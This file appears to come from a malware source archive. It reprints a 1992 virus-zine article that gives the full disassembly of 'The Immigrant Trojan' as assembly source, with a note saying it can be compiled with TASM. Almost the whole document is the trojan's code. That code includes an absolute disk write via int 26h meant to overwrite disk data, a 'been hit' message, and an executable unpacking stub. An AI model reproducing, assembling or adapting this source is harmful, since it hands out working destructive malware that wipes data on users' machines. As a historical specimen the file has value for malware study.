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https://github.com/vxunderground/MalwareSourceCode
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311 lines
10 KiB
NASM
311 lines
10 KiB
NASM
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #1 - YAM '92
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Article Title: The Immigrant Trojan Disassembly
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Author: Natas Kaupas
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;*****************************************************************************
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; Dissasembly of The Immigrant Trojan (TIT)
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; Dissasembly by Dark Angel
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;
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; Just save this and compile it with TASM.
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;*****************************************************************************
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PAGE 59,132
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data_6e equ 2000h ; (0010:2000=89h)
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data_8e equ 0Ch ; (8096:000C=0)
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data_10e equ 87F8h ; (8096:87F8=0)
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data_11e equ 0CDF3h ; (8096:CDF3=0)
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; Tasm 1.00 will output an extra NOP (90h) on forward memory references
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; if the segment is declared after the reference. Segments are declared
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; prior to any code to allow re-assembly.
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seg_B segment byte public
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seg_B ends
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seg_C segment byte public
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seg_C ends
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;-------------------------------------------------------------- seg_a ----
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seg_a segment byte public
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assume cs:seg_a , ds:seg_a , ss:stack_seg_c
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db 0FDh,0FFh, 00h,0FFh,0F8h, 0Eh
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db 0B8h, 05h, 00h, 8Eh,0D8h,0BDh
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db 01h, 00h,0BAh, 0Dh, 00h,0B4h
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db 0FFh,0FFh
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db 9
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db 0CDh, 21h, 80h, 3Eh, 0Ch, 00h
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db 1Ah, 7Dh, 19h,0B4h, 05h,0B5h
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db 00h,0B6h, 00h,0E1h, 79h, 8Ah
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db 16h,0F3h,0CDh, 13h,0BAh, 6Ah
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db 0E6h,0FEh, 06h,0F8h, 87h,0F3h
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db 0EBh,0E0h,0B0h, 02h
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loc_2:
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mov cx,2BCh
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mov dx,0FFC9h
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stc ; Set carry flag
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mov ds,[di+63h]
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mov bx,[di+37h]
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int 26h ; Absolute disk write, drive al
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mov dx,0E326h
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mov ax,0F000h
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dec word ptr [si-5]
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add [bp+si],al
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or ax,440Ah
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db 65h, 63h, 6Fh, 64h, 69h, 6Eh
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db 0FFh, 7Fh
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db 'g system files $'
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db 0F8h, 7Fh,0E7h
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db 'Ya', 27h, ' been hit'
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db 0F8h,0FFh,0F7h
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db 'y The Immigr'
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db 0E1h, 21h, 61h, 6Eh,0EFh, 54h
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db 72h, 6Fh, 6Ah,0F8h, 20h,0CEh
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db 0C3h,0C4h, 65h, 64h,0E2h, 6Fh
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db 78h,0C3h
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db 69h
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locloop_3:
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jmp bx ;*Register jump
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db 'a. [C.S.A.]'
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db 0BEh, 2Eh, 02h, 00h, 24h, 00h
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db 0F0h
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db 13 dup (0)
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seg_a ends
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;-------------------------------------------------------------- seg_b ----
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seg_b segment byte public
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assume cs:seg_b , ds:seg_b , ss:stack_seg_c
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db 10h, 00h
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data_13 dw 0
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data_14 dw 100h
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data_15 dw 0Ch
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data_16 dw 0Ch
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data_17 dw 12h
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data_18 dw 15Ch
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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;
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; Program Entry Point
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;
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;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
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tit proc far
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start:
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push es
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push cs
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pop ds
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mov cx,data_18 ; (80B2:000C=15Ch)
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mov si,cx
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dec si
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mov di,si
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mov bx,ds
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add bx,data_17 ; (80B2:000A=12h)
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mov es,bx
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std ; Set direction flag
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rep movsb ; Rep when cx >0 Mov [si] to es:[di]
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push bx
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mov ax,2Bh
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push ax
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retf
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mov bp,cs:data_16 ; (80B2:0008=0Ch)
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mov dx,ds
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loc_6:
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mov ax,bp
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cmp ax,1000h
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jbe loc_7 ; Jump if below or =
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mov ax,1000h
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loc_7:
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sub bp,ax
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sub dx,ax
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sub bx,ax
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mov ds,dx
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mov es,bx
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mov cl,3
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shl ax,cl ; Shift w/zeros fill
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mov cx,ax
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shl ax,1 ; Shift w/zeros fill
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dec ax
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dec ax
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mov si,ax
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mov di,ax
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rep movsw ; Rep when cx >0 Mov [si] to es:[di]
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or bp,bp ; Zero ?
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jnz loc_6 ; Jump if not zero
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cld ; Clear direction
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mov es,dx
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mov ds,bx
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xor si,si ; Zero register
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xor di,di ; Zero register
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mov dx,10h
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lodsw ; String [si] to ax
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mov bp,ax
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loc_8:
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shr bp,1 ; Shift w/zeros fill
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dec dx
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jnz loc_9 ; Jump if not zero
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lodsw ; String [si] to ax
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mov bp,ax
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mov dl,10h
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loc_9:
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jnc loc_10 ; Jump if carry=0
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movsb ; Mov [si] to es:[di]
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jmp short loc_8 ; (0069)
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loc_10:
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xor cx,cx ; Zero register
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shr bp,1 ; Shift w/zeros fill
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dec dx
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jnz loc_11 ; Jump if not zero
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lodsw ; String [si] to ax
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mov bp,ax
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mov dl,10h
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loc_11:
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jc loc_14 ; Jump if carry Set
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shr bp,1 ; Shift w/zeros fill
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dec dx
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jnz loc_12 ; Jump if not zero
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lodsw ; String [si] to ax
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mov bp,ax
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mov dl,10h
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loc_12:
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rcl cx,1 ; Rotate thru carry
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shr bp,1 ; Shift w/zeros fill
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dec dx
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jnz loc_13 ; Jump if not zero
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lodsw ; String [si] to ax
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mov bp,ax
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mov dl,10h
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loc_13:
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rcl cx,1 ; Rotate thru carry
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inc cx
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inc cx
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lodsb ; String [si] to al
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mov bh,0FFh
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mov bl,al
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jmp locloop_15 ; (00BB)
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loc_14:
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lodsw ; String [si] to ax
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mov bx,ax
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mov cl,3
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shr bh,cl ; Shift w/zeros fill
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or bh,0E0h
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and ah,7
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jz loc_16 ; Jump if zero
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mov cl,ah
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inc cx
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inc cx
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locloop_15:
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mov al,es:[bx+di]
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stosb ; Store al to es:[di]
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loop locloop_15 ; Loop if cx > 0
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jmp short loc_8 ; (0069)
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loc_16:
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lodsb ; String [si] to al
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or al,al ; Zero ?
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jz loc_18 ; Jump if zero
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cmp al,1
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je loc_17 ; Jump if equal
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mov cl,al
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inc cx
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jmp short locloop_15 ; (00BB)
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loc_17:
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mov bx,di
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and di,0Fh
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add di,data_6e ; (0010:2000=89h)
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mov cl,4
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shr bx,cl ; Shift w/zeros fill
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mov ax,es
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add ax,bx
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sub ax,200h
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mov es,ax
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mov bx,si
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and si,0Fh
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shr bx,cl ; Shift w/zeros fill
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mov ax,ds
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add ax,bx
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mov ds,ax
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jmp loc_8 ; (0069)
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db 41h, 43h, 2Dh, 44h, 43h
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loc_18:
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push cs
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pop ds
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mov si,offset data_19 ; (80B2:0158=11h)
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pop bx
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add bx,10h
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mov dx,bx
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xor di,di ; Zero register
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loc_19:
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lodsb ; String [si] to al
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or al,al ; Zero ?
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jz loc_21 ; Jump if zero
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mov ah,0
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loc_20:
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add di,ax
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mov ax,di
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and di,0Fh
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mov cl,4
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shr ax,cl ; Shift w/zeros fill
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add dx,ax
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mov es,dx
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add es:[di],bx
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jmp short loc_19 ; (0109)
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loc_21:
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lodsw ; String [si] to ax
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or ax,ax ; Zero ?
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jnz loc_22 ; Jump if not zero
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add dx,0FFFh
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mov es,dx
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jmp short loc_19 ; (0109)
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loc_22:
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cmp ax,1
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jne loc_20 ; Jump if not equal
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mov ax,bx
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mov di,data_14 ; (80B2:0004=100h)
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mov si,data_15 ; (80B2:0006=0Ch)
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add si,ax
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add data_13,ax ; (80B2:0002=0)
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sub ax,10h
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mov ds,ax
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mov es,ax
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xor bx,bx ; Zero register
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cli ; Disable interrupts
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mov ss,si
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mov sp,di
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sti ; Enable interrupts
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jmp dword ptr cs:[bx] ;*
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data_19 db 11h
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db 0, 1, 0
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db 292 dup (0)
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tit endp
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seg_b ends
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;--------------------------------------------------------- stack_seg_c ---
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stack_seg_c segment word stack 'STACK'
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db 128 dup (0)
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stack_seg_c ends
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end start
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